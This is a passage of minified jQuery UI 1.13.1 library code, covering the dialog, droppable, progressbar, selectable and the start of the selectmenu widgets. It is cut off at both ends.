null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(t){var i=e(this).css(t).offset().top;i<0&&e(this).css("top",t.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&e.fn.draggable&&this._makeDraggable(),this.options.resizable&&e.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?e(t):this.document.find(t||"body").eq(0)},_destroy:function(){var e,t=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),(e=t.parent.children().eq(t.index)).length&&e[0]!==this.element[0]?e.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:e.noop,enable:e.noop,close:function(t){var i=this;this._isOpen&&!1!==this._trigger("beforeClose",t)&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||e.ui.safeBlur(e.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,(function(){i._trigger("close",t)})))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,i){var n=!1,r=this.uiDialog.siblings(".ui-front:visible").map((function(){return+e(this).css("z-index")})).get();return(r=Math.max.apply(null,r))>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",r+1),n=!0),n&&!i&&this._trigger("focus",t),n},open:function(){var t=this;this._isOpen?this._moveToTop()&&this._focusTabbable():(this._isOpen=!0,this.opener=e(e.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,(function(){t._focusTabbable(),t._trigger("focus")})),this._makeFocusTarget(),this._trigger("open"))},_focusTabbable:function(){var e=this._focusedElement;(e=(e=(e=(e=(e=e||this.element.find("[autofocus]")).length?e:this.element.find(":tabbable")).length?e:this.uiDialogButtonPane.find(":tabbable")).length?e:this.uiDialogTitlebarClose.filter(":tabbable")).length?e:this.uiDialog).eq(0).trigger("focus")},_restoreTabbableFocus:function(){var t=e.ui.safeActiveElement(this.document[0]);this.uiDialog[0]===t||e.contains(this.uiDialog[0],t)||this._focusTabbable()},_keepFocus:function(e){e.preventDefault(),this._restoreTabbableFocus(),this._delay(this._restoreTabbableFocus)},_createWrapper:function(){this.uiDialog=e("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content ui-front"),this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===e.ui.keyCode.ESCAPE)return t.preventDefault(),void this.close(t);var i,n,r;t.keyCode!==e.ui.keyCode.TAB||t.isDefaultPrevented()||(i=this.uiDialog.find(":tabbable"),n=i.first(),r=i.last(),t.target!==r[0]&&t.target!==this.uiDialog[0]||t.shiftKey?t.target!==n[0]&&t.target!==this.uiDialog[0]||!t.shiftKey||(this._delay((function(){r.trigger("focus")})),t.preventDefault()):(this._delay((function(){n.trigger("focus")})),t.preventDefault()))},mousedown:function(e){this._moveToTop(e)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=e("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(t){e(t.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=e("<button type='button'></button>").button({label:e("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(e){e.preventDefault(),this.close(e)}}),t=e("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(t,"ui-dialog-title"),this._title(t),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":t.attr("id")})},_title:function(e){this.options.title?e.text(this.options.title):e.html("&#160;")},_createButtonPane:function(){this.uiDialogButtonPane=e("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=e("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var t=this,i=this.options.buttons;this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),e.isEmptyObject(i)||Array.isArray(i)&&!i.length?this._removeClass(this.uiDialog,"ui-dialog-buttons"):(e.each(i,(function(i,n){var r;n=e.extend({type:"button"},n="function"==typeof n?{click:n,text:i}:n),r=n.click,i={icon:n.icon,iconPosition:n.iconPosition,showLabel:n.showLabel,icons:n.icons,text:n.text},delete n.click,delete n.icon,delete n.iconPosition,delete n.showLabel,delete n.icons,"boolean"==typeof n.text&&delete n.text,e("<button></button>",n).button(i).appendTo(t.uiButtonSet).on("click",(function(){r.apply(t.element[0],arguments)}))})),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog))},_makeDraggable:function(){var t=this,i=this.options;function n(e){return{position:e.position,offset:e.offset}}this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(i,r){t._addClass(e(this),"ui-dialog-dragging"),t._blockFrames(),t._trigger("dragStart",i,n(r))},drag:function(e,i){t._trigger("drag",e,n(i))},stop:function(r,s){var a=s.offset.left-t.document.scrollLeft(),o=s.offset.top-t.document.scrollTop();i.position={my:"left top",at:"left"+(0<=a?"+":"")+a+" top"+(0<=o?"+":"")+o,of:t.window},t._removeClass(e(this),"ui-dialog-dragging"),t._unblockFrames(),t._trigger("dragStop",r,n(s))}})},_makeResizable:function(){var t=this,i=this.options,n=i.resizable,r=this.uiDialog.css("position");function s(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}n="string"==typeof n?n:"n,e,s,w,se,sw,ne,nw",this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:i.maxWidth,maxHeight:i.maxHeight,minWidth:i.minWidth,minHeight:this._minHeight(),handles:n,start:function(i,n){t._addClass(e(this),"ui-dialog-resizing"),t._blockFrames(),t._trigger("resizeStart",i,s(n))},resize:function(e,i){t._trigger("resize",e,s(i))},stop:function(n,r){var a=(o=t.uiDialog.offset()).left-t.document.scrollLeft(),o=o.top-t.document.scrollTop();i.height=t.uiDialog.height(),i.width=t.uiDialog.width(),i.position={my:"left top",at:"left"+(0<=a?"+":"")+a+" top"+(0<=o?"+":"")+o,of:t.window},t._removeClass(e(this),"ui-dialog-resizing"),t._unblockFrames(),t._trigger("resizeStop",n,s(r))}}).css("position",r)},_trackFocus:function(){this._on(this.widget(),{focusin:function(t){this._makeFocusTarget(),this._focusedElement=e(t.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var t=this._trackingInstances(),i=e.inArray(this,t);-1!==i&&t.splice(i,1)},_trackingInstances:function(){var e=this.document.data("ui-dialog-instances");return e||this.document.data("ui-dialog-instances",e=[]),e},_minHeight:function(){var e=this.options;return"auto"===e.height?e.minHeight:Math.min(e.minHeight,e.height)},_position:function(){var e=this.uiDialog.is(":visible");e||this.uiDialog.show(),this.uiDialog.position(this.options.position),e||this.uiDialog.hide()},_setOptions:function(t){var i=this,n=!1,r={};e.each(t,(function(e,t){i._setOption(e,t),e in i.sizeRelatedOptions&&(n=!0),e in i.resizableRelatedOptions&&(r[e]=t)})),n&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",r)},_setOption:function(t,i){var n,r=this.uiDialog;"disabled"!==t&&(this._super(t,i),"appendTo"===t&&this.uiDialog.appendTo(this._appendTo()),"buttons"===t&&this._createButtons(),"closeText"===t&&this.uiDialogTitlebarClose.button({label:e("<a>").text(""+this.options.closeText).html()}),"draggable"===t&&((n=r.is(":data(ui-draggable)"))&&!i&&r.draggable("destroy"),!n&&i&&this._makeDraggable()),"position"===t&&this._position(),"resizable"===t&&((n=r.is(":data(ui-resizable)"))&&!i&&r.resizable("destroy"),n&&"string"==typeof i&&r.resizable("option","handles",i),n||!1===i||this._makeResizable()),"title"===t&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var e,t,i,n=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),n.minWidth>n.width&&(n.width=n.minWidth),e=this.uiDialog.css({height:"auto",width:n.width}).outerHeight(),t=Math.max(0,n.minHeight-e),i="number"==typeof n.maxHeight?Math.max(0,n.maxHeight-e):"none","auto"===n.height?this.element.css({minHeight:t,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,n.height-e)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map((function(){var t=e(this);return e("<div>").css({position:"absolute",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]}))},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return!!e(t.target).closest(".ui-dialog").length||!!e(t.target).closest(".ui-datepicker").length},_createOverlay:function(){var t,i;this.options.modal&&(t=e.fn.jquery.substring(0,4),i=!0,this._delay((function(){i=!1})),this.document.data("ui-dialog-overlays")||this.document.on("focusin.ui-dialog",function(e){var n;i||(n=this._trackingInstances()[0])._allowInteraction(e)||(e.preventDefault(),n._focusTabbable(),"3.4."!==t&&"3.5."!==t||n._delay(n._restoreTabbableFocus))}.bind(this)),this.overlay=e("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1))},_destroyOverlay:function(){var e;this.options.modal&&this.overlay&&((e=this.document.data("ui-dialog-overlays")-1)?this.document.data("ui-dialog-overlays",e):(this.document.off("focusin.ui-dialog"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null)}}),!1!==e.uiBackCompat&&e.widget("ui.dialog",e.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(e,t){"dialogClass"===e&&this.uiDialog.removeClass(this.options.dialogClass).addClass(t),this._superApply(arguments)}}),e.ui.dialog,e.widget("ui.droppable",{version:"1.13.1",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var e,t=this.options,i=t.accept;this.isover=!1,this.isout=!0,this.accept="function"==typeof i?i:function(e){return e.is(i)},this.proportions=function(){if(!arguments.length)return e=e||{width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};e=arguments[0]},this._addToManager(t.scope),t.addClasses&&this._addClass("ui-droppable")},_addToManager:function(t){e.ui.ddmanager.droppables[t]=e.ui.ddmanager.droppables[t]||[],e.ui.ddmanager.droppables[t].push(this)},_splice:function(e){for(var t=0;t<e.length;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var t=e.ui.ddmanager.droppables[this.options.scope];this._splice(t)},_setOption:function(t,i){var n;"accept"===t?this.accept="function"==typeof i?i:function(e){return e.is(i)}:"scope"===t&&(n=e.ui.ddmanager.droppables[this.options.scope],this._splice(n),this._addToManager(i)),this._super(t,i)},_activate:function(t){var i=e.ui.ddmanager.current;this._addActiveClass(),i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this._removeActiveClass(),i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._addHoverClass(),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeHoverClass(),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var n=i||e.ui.ddmanager.current,r=!1;return!(!n||(n.currentItem||n.element)[0]===this.element[0])&&(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each((function(){var i=e(this).droppable("instance");if(i.options.greedy&&!i.options.disabled&&i.options.scope===n.options.scope&&i.accept.call(i.element[0],n.currentItem||n.element)&&e.ui.intersect(n,e.extend(i,{offset:i.element.offset()}),i.options.tolerance,t))return!(r=!0)})),!r&&!!this.accept.call(this.element[0],n.currentItem||n.element)&&(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",t,this.ui(n)),this.element))},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}}),e.ui.intersect=function(e,t,i,n){if(!t.offset)return!1;var r=(e.positionAbs||e.position.absolute).left+e.margins.left,s=(e.positionAbs||e.position.absolute).top+e.margins.top,a=r+e.helperProportions.width,o=s+e.helperProportions.height,l=t.offset.left,u=t.offset.top,c=l+t.proportions().width,d=u+t.proportions().height;switch(i){case"fit":return l<=r&&a<=c&&u<=s&&o<=d;case"intersect":return l<r+e.helperProportions.width/2&&a-e.helperProportions.width/2<c&&u<s+e.helperProportions.height/2&&o-e.helperProportions.height/2<d;case"pointer":return ue(n.pageY,u,t.proportions().height)&&ue(n.pageX,l,t.proportions().width);case"touch":return(u<=s&&s<=d||u<=o&&o<=d||s<u&&d<o)&&(l<=r&&r<=c||l<=a&&a<=c||r<l&&c<a);default:return!1}},!(e.ui.ddmanager={current:null,droppables:{default:[]},prepareOffsets:function(t,i){var n,r,s=e.ui.ddmanager.droppables[t.options.scope]||[],a=i?i.type:null,o=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();e:for(n=0;n<s.length;n++)if(!(s[n].options.disabled||t&&!s[n].accept.call(s[n].element[0],t.currentItem||t.element))){for(r=0;r<o.length;r++)if(o[r]===s[n].element[0]){s[n].proportions().height=0;continue e}s[n].visible="none"!==s[n].element.css("display"),s[n].visible&&("mousedown"===a&&s[n]._activate.call(s[n],i),s[n].offset=s[n].element.offset(),s[n].proportions({width:s[n].element[0].offsetWidth,height:s[n].element[0].offsetHeight}))}},drop:function(t,i){var n=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),(function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance,i)&&(n=this._drop.call(this,i)||n),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))})),n},dragStart:function(t,i){t.element.parentsUntil("body").on("scroll.droppable",(function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}))},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],(function(){var n,r,s,a;this.options.disabled||this.greedyChild||!this.visible||(a=!(s=e.ui.intersect(t,this,this.options.tolerance,i))&&this.isover?"isout":s&&!this.isover?"isover":null)&&(this.options.greedy&&(r=this.options.scope,(s=this.element.parents(":data(ui-droppable)").filter((function(){return e(this).droppable("instance").options.scope===r}))).length&&((n=e(s[0]).droppable("instance")).greedyChild="isover"===a)),n&&"isover"===a&&(n.isover=!1,n.isout=!0,n._out.call(n,i)),this[a]=!0,this["isout"===a?"isover":"isout"]=!1,this["isover"===a?"_over":"_out"].call(this,i),n&&"isout"===a&&(n.isout=!1,n.isover=!0,n._over.call(n,i)))}))},dragStop:function(t,i){t.element.parentsUntil("body").off("scroll.droppable"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}})!==e.uiBackCompat&&e.widget("ui.droppable",e.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}}),e.ui.droppable,e.widget("ui.progressbar",{version:"1.13.1",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=e("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(e){if(void 0===e)return this.options.value;this.options.value=this._constrainedValue(e),this._refreshValue()},_constrainedValue:function(e){return void 0===e&&(e=this.options.value),this.indeterminate=!1===e,"number"!=typeof e&&(e=0),!this.indeterminate&&Math.min(this.options.max,Math.max(this.min,e))},_setOptions:function(e){var t=e.value;delete e.value,this._super(e),this.options.value=this._constrainedValue(t),this._refreshValue()},_setOption:function(e,t){"max"===e&&(t=Math.max(this.min,t)),this._super(e,t)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",e),this._toggleClass(null,"ui-state-disabled",!!e)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).width(i.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,t===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=e("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==t&&(this.oldValue=t,this._trigger("change")),t===this.options.max&&this._trigger("complete")}}),e.widget("ui.selectable",e.ui.mouse,{version:"1.13.1",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){t.elementPos=e(t.element[0]).offset(),t.selectees=e(t.options.filter,t.element[0]),t._addClass(t.selectees,"ui-selectee"),t.selectees.each((function(){var i=e(this),n={left:(n=i.offset()).left-t.elementPos.left,top:n.top-t.elementPos.top};e.data(this,"selectable-item",{element:this,$element:i,left:n.left,top:n.top,right:n.left+i.outerWidth(),bottom:n.top+i.outerHeight(),startselected:!1,selected:i.hasClass("ui-selected"),selecting:i.hasClass("ui-selecting"),unselecting:i.hasClass("ui-unselecting")})}))},this.refresh(),this._mouseInit(),this.helper=e("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(t){var i=this,n=this.options;this.opos=[t.pageX,t.pageY],this.elementPos=e(this.element[0]).offset(),this.options.disabled||(this.selectees=e(n.filter,this.element[0]),this._trigger("start",t),e(n.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),n.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each((function(){var n=e.data(this,"selectable-item");n.startselected=!0,t.metaKey||t.ctrlKey||(i._removeClass(n.$element,"ui-selected"),n.selected=!1,i._addClass(n.$element,"ui-unselecting"),n.unselecting=!0,i._trigger("unselecting",t,{unselecting:n.element}))})),e(t.target).parents().addBack().each((function(){var n,r=e.data(this,"selectable-item");if(r)return n=!t.metaKey&&!t.ctrlKey||!r.$element.hasClass("ui-selected"),i._removeClass(r.$element,n?"ui-unselecting":"ui-selected")._addClass(r.$element,n?"ui-selecting":"ui-unselecting"),r.unselecting=!n,r.selecting=n,(r.selected=n)?i._trigger("selecting",t,{selecting:r.element}):i._trigger("unselecting",t,{unselecting:r.element}),!1})))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,n=this,r=this.options,s=this.opos[0],a=this.opos[1],o=t.pageX,l=t.pageY;return o<s&&(i=o,o=s,s=i),l<a&&(i=l,l=a,a=i),this.helper.css({left:s,top:a,width:o-s,height:l-a}),this.selectees.each((function(){var i=e.data(this,"selectable-item"),u=!1,c={};i&&i.element!==n.element[0]&&(c.left=i.left+n.elementPos.left,c.right=i.right+n.elementPos.left,c.top=i.top+n.elementPos.top,c.bottom=i.bottom+n.elementPos.top,"touch"===r.tolerance?u=!(c.left>o||c.right<s||c.top>l||c.bottom<a):"fit"===r.tolerance&&(u=c.left>s&&c.right<o&&c.top>a&&c.bottom<l),u?(i.selected&&(n._removeClass(i.$element,"ui-selected"),i.selected=!1),i.unselecting&&(n._removeClass(i.$element,"ui-unselecting"),i.unselecting=!1),i.selecting||(n._addClass(i.$element,"ui-selecting"),i.selecting=!0,n._trigger("selecting",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(n._removeClass(i.$element,"ui-selecting"),i.selecting=!1,n._addClass(i.$element,"ui-selected"),i.selected=!0):(n._removeClass(i.$element,"ui-selecting"),i.selecting=!1,i.startselected&&(n._addClass(i.$element,"ui-unselecting"),i.unselecting=!0),n._trigger("unselecting",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(n._removeClass(i.$element,"ui-selected"),i.selected=!1,n._addClass(i.$element,"ui-unselecting"),i.unselecting=!0,n._trigger("unselecting",t,{unselecting:i.element})))))})),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(".ui-unselecting",this.element[0]).each((function(){var n=e.data(this,"selectable-item");i._removeClass(n.$element,"ui-unselecting"),n.unselecting=!1,n.startselected=!1,i._trigger("unselected",t,{unselected:n.element})})),e(".ui-selecting",this.element[0]).each((function(){var n=e.data(this,"selectable-item");i._removeClass(n.$element,"ui-selecting")._addClass(n.$element,"ui-selected"),n.selecting=!1,n.selected=!0,n.startselected=!0,i._trigger("selected",t,{selected:n.element})})),this._trigger("stop",t),this.helper.remove(),!1}}),e.widget("ui.selectmenu",[e.ui.formResetMixin,{version:"1.13.1",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var t=this.element.uniqueId().attr("id");this.ids={element:t,button:t+"-button",menu:t+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=e()},_drawButton:function(){var t,i=this,n=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(e){this.button.trigger("focus"),e.preventDefault()}}),this.element.hide(),this.button=e("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),t=e("<span>").appendTo(this.button),this._addClass(t,"ui-selectmenu-icon","ui-icon "+this.options.icons.button),this.buttonItem=this._renderButtonItem(n).appendTo(this.button),!1!==this.options.width&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",(function(){i._rendered||i._refreshMenu()}))},_drawMenu:function(){var t=this;this.menu=e("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=e("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(e,i){e.preventDefault(),t._setSelection(),t._select(i.item.data("ui-selectmenu-item"),e)},focus:function(e,i){i=i.item.data("ui-selectmenu-item"),null!=t.focusIndex&&i.index!==t.focusIndex&&(t._trigger("focus",e,{item:i}),t.isOpen||t._select(i,e)),t.focusIndex=i.index,t.button.attr("aria-activedescendant",t.menuItems.eq(i.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var e=this.element.find("option");this.menu.empty(),this._parseOptions(e),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,e.length&&(e=this._getSelectedItem(),this.menuInstance.focus(null,e),this._setAria(e.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(e){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",e)))},_position:function(){this.menuWrap.position(e.extend({of:this.button},this.options.position))},close:function(e){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",e))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(t){var i=e("<span>");return this._setText(i,t.label),this._addClass(i,"ui-selectmenu-text"),i},_renderMenu:function(t,i){var n=this,r="";e.each(i,(function(i,s){var a;s.optgroup!==r&&(a=e("<li>",{text:s.optgroup}),n._addClass(a,"ui-selectmenu-optgroup","ui-menu-divider"+(s.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),a.appendTo(t),r=s.optgroup),n._renderItemData(t,s)}))},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-selectmenu-item",t)},_renderItem:function(t,i){var n=e("<li>"),r=e("<div>",{title:i.element.attr("title")});return i.disabled&&this._addClass(n,null,"ui-state-disabled"),this._setText(r,i.label),n.append(r).appendTo(t)},_setText:function(e,t){t?e.text(t):e.html("&#160;")},_move:function(e,t){var i,n=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),n+=":not(.ui-state-disabled)"),(n="first"===e||"last"===e?i["first"===e?"prevAll":"nextAll"](n).eq(-1):i[e+"All"](n).eq(0)).length&&this.menuInstance.focus(t,n)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(e){this[this.isOpen?"close":"open"](e)},_setSelection:function(){var e;this.range&&(window.getSelection?((e=window.getSelection()).removeAllRanges(),e.addRange(this.range)):this.range.select(),this.button.focus())},_documentClick:{mousedown:function(t){this.isOpen&&(e(t.target).closest(".ui-selectmenu-menu, #"+e.escapeSelector(this.ids.button)).length||this.close(t))}},_buttonEvents:{mousedown:function(){var e;window.getSelection?(e=window.getSelection()).rangeCount&&(this.range=e.getRangeAt(0)):this.range=document.selection.createRange()},click:function(e){this._setSelection(),this._toggle(e)},keydown:function(t){var i=!0;switch(t.keyCode){case e.ui.keyCode.TAB:case e.ui.keyCode.ESCAPE:this.close(t),i=!1;break;case e.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(t);break;case 